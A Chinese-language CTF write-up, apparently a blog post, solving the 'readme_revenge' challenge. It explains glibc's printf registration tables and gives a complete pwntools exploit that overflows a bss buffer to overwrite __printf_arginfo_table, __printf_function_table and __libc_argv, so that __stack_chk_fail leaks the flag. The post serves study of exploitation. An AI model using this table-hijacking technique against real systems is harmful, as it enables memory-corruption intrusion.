参考学习:
https://www.anquanke.com/post/id/202387#h2-0
前置知识
这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大chunk时(超过fastbin),存在或可以构造出UAF漏洞。
在使用printf类格式化字符串函数进行输出的时候,该类函数会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出,

  • __register_printf_function 是 glibc 内部用于将“自定义 printf 转换器”注册到 glibc 的机制之一。它把用户提供的两类回调(printf function — 真正做格式化输出的函数;printf arginfo — 在格式解析阶段告知库如何获取参数的函数)保存到 glibc 的内部表里(function_table 与 arginfo_table),使得后续 vfprintf/printf 在遇到相应转换说明符(specifier,例如某个字符 'q')时可以调用这些回调来处理格式化。
  • 换句话说,它把一个字符(specifier)和对应的处理逻辑绑定起来,从而扩展 printf 家族函数的转换语义。
  • 全局表:glibc 内部维护两张与转换字符索引对应的表
    • __printf_function_table:每个索引保存一个 printf_function(处理函数)的指针
    • __printf_arginfo_table:每个索引保存一个 printf_arginfo(arginfo 回调)指针 这两张表通常以字符值(unsigned char 的数值)作为索引。
  • 注册动作:__register_printf_function 会把传入的 function 和 arginfo 指针写入到对应表的 spec 条目中。若表尚未初始化/分配,注册函数会负责初始化或扩展表以包含该索引。
  • 参数校验:实现上会校验 spec 是否在合法范围(0..UCHAR_MAX 或表长度内),并可能检查传入指针的合法性(是否为 NULL、是否与已有注册冲突等)。
  • 返回值:公开接口通常在成功时返回 0,失败时返回非零(具体 errno/返回码会随实现变化)。内部双下划线函数可能有相同/相似的返回契约。
  • 线程/时序:注册是在全局表上写入,若程序是多线程的并且在运行时动态注册,必须注意并发安全。glibc 的实现可能采取锁或要求调用者在单线程阶段(如程序初始化)进行注册。文档通常建议在多线程创建之前完成注册以避免 race condition。
  • 生命周期:注册一旦生效,表项会长期存在(直至进程退出),后续 printf 的解析与输出都会使用最新的表项。覆盖旧的注册会替换处理逻辑(但如何替换/返回错误取决于具体实现)。
  1. 典型用法(示例说明)
  • 目标:为字符 'q' 注册自定义输出,使 printf("x=%q", n) 能以自定义方式输出 n。
  • 需实现两部分:
    • arginfo:告诉库该转换需要多少个参数、每个参数类型(PA_INT、PA_CHARP 等),以便 vfprintf 在调用前从 va_list 中提取好参数。
    • function:当参数已被提取并准备好后,glibc 会把参数(以 void* 指针数组形式)传给该函数,由它完成格式化输出到 FILE*。
  • 简化伪代码:
    • register_printf_function('q', my_printf_function, my_arginfo);
    • my_arginfo(...) 返回 1 并把 argtypes[0] = PA_INT
    • my_printf_function(FILE *f, info, args) 从 args[0] 读取 int 值并 fprintf 到 f
  1. vfprintf 调用流程(与注册表交互)
  • 解析 format,遇到转换符 c:
    • 查 __printf_function_table[c] 和 __printf_arginfo_table[c]
    • 若 arginfo 不为 NULL,调用 arginfo 获取参数类型/数量
    • 根据 arginfo 提示从 va_list(或 positional 参数)中取出参数,构造 args 数组
    • 调用 printf_function(如果存在),或回退到默认行为
  • 因此 arginfo 在解析阶段有能力决定“参数从何处、以何种方式被提取”,这就是为何覆盖 arginfo 表能把 vfprintf 导向不同的参数来源(比如 __libc_argv)并被滥用。

__register_printf_function 的本质:把一个 printf 转换字符(specifier)与两个回调(arginfo 与处理函数)关联起来,写入 glibc 的内部表,使 printf 在解析/输出该 specifier 时调用这些回调,从而支持自定义格式化行为。

int register_printf_function(int spec, printf_function func, printf_arginfo arginfo);

内部上会写入 __printf_function_table[spec] 和 __printf_arginfo_table[spec]。

  • __printf_function_table:按转换字符索引的函数指针数组,保存了每个自定义 printf 转换符的“处理函数”(printf_function)。
/* 输出实际工作:stream 是 FILE*,info 是格式信息,args 是已经解析并准备好的参数数组 */
int (*printf_function)(FILE *stream, const struct printf_info *info, const void *const *args);
  • __printf_arginfo_table:按转换字符索引的函数指针数组,保存了每个自定义 printf 转换符的“arginfo”回调(printf_arginfo)。arginfo 在格式解析阶段告诉 vfprintf 该转换所需参数类型与数量,以便把参数从 va_list 中提取并打包。
/* 返回需要的参数数量(>=0),并在 argtypes 中写入每个参数的类型(PA_*) */
int (*printf_arginfo)(const struct printf_info *info, size_t n, int *argtypes);

利用流程

(1)原始状态(表项为 NULL 或合法指针) [input_addr] -->
 用户可写缓冲区 __printf_arginfo_table['s'] ->
 NULL __printf_function_table['s'] ->
 NULL __libc_argv ->
 实际 argv 或 NULL
越界写 payload 覆盖 payload 写到 input_addr ... 
覆盖 __libc_argv、__printf_function_table['s']、__printf_arginfo_table['s']
调用 printf("...%s..."): 
vfprintf 解析 %s: -> 
a = __printf_arginfo_table['s'](= input_addr) -> 
a(...) 指示从 __libc_argv 取参数或直接通过 input_addr 返回参数信息 ->
 __libc_argv 指向 input_addr,input_addr[0]=flag_addr ->
 vfprintf 得到 flag_addr,打印 flag

题目:
在这里插入图片描述
先调用 scanf(format, &name) 把输入写到可写地址 name,然后调用 printf("Hi, %s. Bye.\n", name) 打印该缓冲区内容并退出。
漏洞:
scanf 使用不带宽度限制的 "%s"(或类似格式),把任意长度的数据写到 name 所指的位置;name 并不是栈上的小缓冲区,而是一个可写的全局/数据段位置。因此可以通过一次输入直接覆盖同一映射内后续的全局/数据(例如 __libc_argv、__printf_function_table、__printf_arginfo_table、flag 等),从而构造“数据驱动”的利用,不需要改写返回地址或触碰栈 canary。
在这里插入图片描述
name在bss段
在这里插入图片描述这里看到flag已经在程序中
所以大概的思路是
控制EIP->调用__fortify_fail函数->打印当前程序的名称(__libc_argv的第一个元素)->使__libc_argv的第一个元素指向flag的地址打印出flag
在这里插入图片描述
调试
在这里插入图片描述
崩溃原因

RAX: 0x6161616161616161 ('aaaaaaaa')
RIP: 0x45ad64 (<__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0)

格式化字符串相关

RDI: 0x48d18b ("%s. Bye.\n")
R8:  0x48d18b ("%s. Bye.\n")

这个错误是因为内存非法访问导致的
__printf_modifier_table已经被我们溢出为了0x6161616161616161, 在下方的cmp处比较时, 因为该内存地址不可访问导致了错误, 我们可以通过更改__printf_modifier_table的值来绕过这个错误.
在这里插入图片描述

loc_45A926:
    xor     eax, eax                    ; eax = 0
    and     byte ptr [rbx+0Dh], 0FDh    ; 清除某标志位
    and     byte ptr [rbx+0Ch], 0F8h    ; 清除其他标志位
    mov     [rbx+0Eh], ax               ; 写入0
    mov     rax, cs:__printf_modifier_table  ; 加载修饰符表
    test    rax, rax                    ; 检查表是否为空
    jnz     loc_45AD60                  ; 不为空则跳转

loc_45AD60:
    movzx   edx, byte ptr [r10]         ; 获取格式字符 (r10指向格式字符串)
    cmp     qword ptr [rax+rdx*8], 0    ; 检查 table[char] 是否为NULL
    jz      loc_45A944                  ; 为NULL则跳转
    
    lea     rdi, [rsp+38h+var_30]       ; 准备第一个参数
    mov     rsi, rbx                    ; 准备第二个参数
    db      67h                         ; 可能是地址大小前缀
    call    __handle_registered_modifier_mb ; 调用处理函数
    test    eax, eax                    ; 检查返回值
    jz      short loc_45AD9B            ; 为0则跳转

我们需要找到四个表的地址:
在这里插入图片描述

name = 0x6b73e0
flag = 0x6B4040
stack_chk_fail = 0x4359b0
libc_argv = 0x6b7980
printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8

printf 的内部处理流程

printf() -> vfprintf() -> printf_positional() -> __parse_one_specmb()

关键函数调用关系:

// 简化流程
printf(const char *format, ...) {
    vfprintf(stdout, format, args);
}

vfprintf(FILE *stream, const char *format, va_list ap) {
    if (has_positional_parameters(format)) {
        printf_positional(stream, format, ap);
    } else {
        // 普通处理
    }
}

printf_positional() {
    while (*format) {
        if (*format == '%') {
            __parse_one_specmb(&spec, &format, &ap_pos);
            // 处理注册函数
        }
    }
}

__parse_one_specmb 的关键逻辑

__parse_one_specmb() {
    // 1. 首先检查 modifier_table
    if (__printf_modifier_table != NULL && 
        __printf_modifier_table[spec_char] != NULL) {
        __handle_registered_modifier_mb(...);
    }
    
    // 2. 然后检查 arginfo_table  
    if (__printf_arginfo_table != NULL && 
        __printf_arginfo_table[spec_char] != NULL) {
        // 调用arginfo函数获取参数信息
        arginfo_func = __printf_arginfo_table[spec_char];
        arginfo_func(&info, &ap_pos);
    }
    
    // 3. 最后检查 function_table
    if (__printf_function_table != NULL && 
        __printf_function_table[spec_char] != NULL) {
        // 调用注册的处理函数
        func = __printf_function_table[spec_char];
        func(stream, &spec, &ap_pos);
        return;
    }
    
    // 4. 如果没有注册函数,使用默认处理
    switch (spec_char) {
        case 's': handle_string(...); break;
        case 'd': handle_int(...); break;
        // ...
    }
}

格式化字符串的参数位置:

// 例如:
printf("%s %d %f", str, num, flt);
// 栈/寄存器布局:
// 1. format string address
// 2. str address
// 3. num value  
// 4. flt value

对于 x86_64 Linux 的调用约定:

  • 前6个参数:RDI, RSI, RDX, RCX, R8, R9
  • 剩余参数:栈上
  • 返回值:RAX
    在 printf 内部:
    当 __parse_one_specmb 调用注册函数时:
// 调用 arginfo 函数
typedef int (*printf_arginfo_function)(const struct printf_info *info,
                                      size_t n, int *argtypes);

// 调用 format 函数  
typedef int (*printf_function)(FILE *stream, 
                              const struct printf_info *info,
                              const void *const *args);

stack_chk_fail 的调用参数
__fortify_fail 函数签名:

void __attribute__ ((noreturn)) __fortify_fail (const char *msg);
// 实际调用:__fortify_fail("stack smashing detected");

它如何获取 argv[0]:

// 在 __libc_message 内部
__libc_message(do_abort, "*** %s ***: %s terminated\n",
               msg, __libc_argv[0] ?: "<unknown>");
//                                ^^^^^^^^^^^^^^^
//                                关键:打印 argv[0]

目的:

1. 程序执行 printf
printf(user_input);  // user_input 包含 "%s"

2. 解析格式字符串
遇到 '%s' (0x73 是字母 's' 的 ASCII码值(十六进制))

3. 查找注册函数
__printf_arginfo_table = name_addr (被覆盖)

4. 错误调用
本应: arginfo_func(info, n, argtypes)
实际: stack_chk_fail()

5. stack_chk_fail 执行
读取 __libc_argv = name_addr (被覆盖)
读取 argv[0] = flag_addr
打印: "*** stack smashing detected ***: [flag内容] terminated"

因为这是一个 64位系统:

  • 每个函数指针占用 8字节(64位 = 8字节)
  • 表的结构是:void* table[256](256个指针的数组)
  • 访问 table['s'] 实际上就是 table[0x73]
  • 数组下标 0x73 对应的内存偏移是 0x73 * sizeof(void*)]
    当我们要覆盖 __printf_arginfo_table['s'] 时:
  • __printf_arginfo_table 是一个指针数组
  • 数组起始地址:name_addr(因为我们设置了 __printf_arginfo_table = name_addr)
  • table['s'] 的位置:name_addr + ('s' * 8) = name_addr + 0x398
    所以我们需要在 name_addr + 0x398 处写入 stack_chk_fail 地址。
payload = p64(flag) #name start

payload = payload.ljust(0x73 * 8,b'\x00')
payload += p64(stack_chk_fail)  # __printf_arginfo_table[spec->info.spec]

payload = payload.ljust(libc_argv - name,b'\x00')
payload += p64(name)  # argv

payload = payload.ljust(printf_function_table - name,b'\x00')
payload += p64(name) # __printf_function_table

payload = payload.ljust(printf_arginfo_table - name,b'\x00')
payload += p64(name)  # __printf_arginfo_table

p.sendline(payload)

在这里插入图片描述
打印出来了flag的值
EXP:

from pwn import *
p = process('./readme_revenge')

name = 0x6b73e0
flag = 0x6B4040
stack_chk_fail = 0x4359b0
libc_argv = 0x6b7980
printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8

payload = p64(flag) #name start

payload = payload.ljust(0x73 * 8,b'\x00')
payload += p64(stack_chk_fail)  # __printf_arginfo_table[spec->info.spec]

payload = payload.ljust(libc_argv - name,b'\x00')
payload += p64(name)  # argv

payload = payload.ljust(printf_function_table - name,b'\x00')
payload += p64(name) # __printf_function_table

payload = payload.ljust(printf_arginfo_table - name,b'\x00')
payload += p64(name)  # __printf_arginfo_table

p.sendline(payload)

p.interactive()
posted on 2025-12-12 17:53  Lplum  阅读(2)  评论(0)    收藏  举报